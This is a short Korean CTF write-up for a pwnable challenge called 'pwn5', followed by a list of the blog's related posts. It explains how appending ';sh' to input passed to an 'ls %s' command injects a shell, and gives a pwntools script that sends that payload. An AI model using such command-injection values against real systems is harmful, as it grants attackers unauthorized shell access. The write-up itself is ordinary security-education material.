일단 sh를 쉘에 입력하면 쉘이 뜨는 것을 알고 sh 명령어를 사용할 수 있으면 되겠다고 생각했다.
근데 ls %s 로 명령어를 실행해서 어떻게 하면 ls한 후 sh를 실행하도록 할까 시도를 계속해보다가
ls ; sh
로 입력하면 ls 명령어를 실행한 후 sh 명령어를 실행하도록 할 수 있었다.
따라서 입력할 때 ;sh로 주면 ls ;sh로 명령어가 실행되서 쉘을 실행시킬 수 있다.
#!/usr/bin/python
from pwn import *
p = process("./pwn5")
p.sendafter("pass to ls:\n", ';sh')
p.interactive()
; sh로 주면 h가 잘려서 ;sh로 붙여서 줘야 제대로 쉘이 따진다.
shot (6/1 포너블 실습 문제) (0) | 2020.06.01 |
---|---|
[picoCTF 2014] rop1 (0) | 2020.05.31 |
RTL_x64 (5/25 포너블 실습 문제 만들기) (0) | 2020.05.28 |
[HITCON-Training] lab6: migration (2019.09.09, Fake EBP + ROP) (0) | 2020.05.27 |
[HITCON-Training] lab9 playfmt (Double Staged FSB) (1) | 2020.05.04 |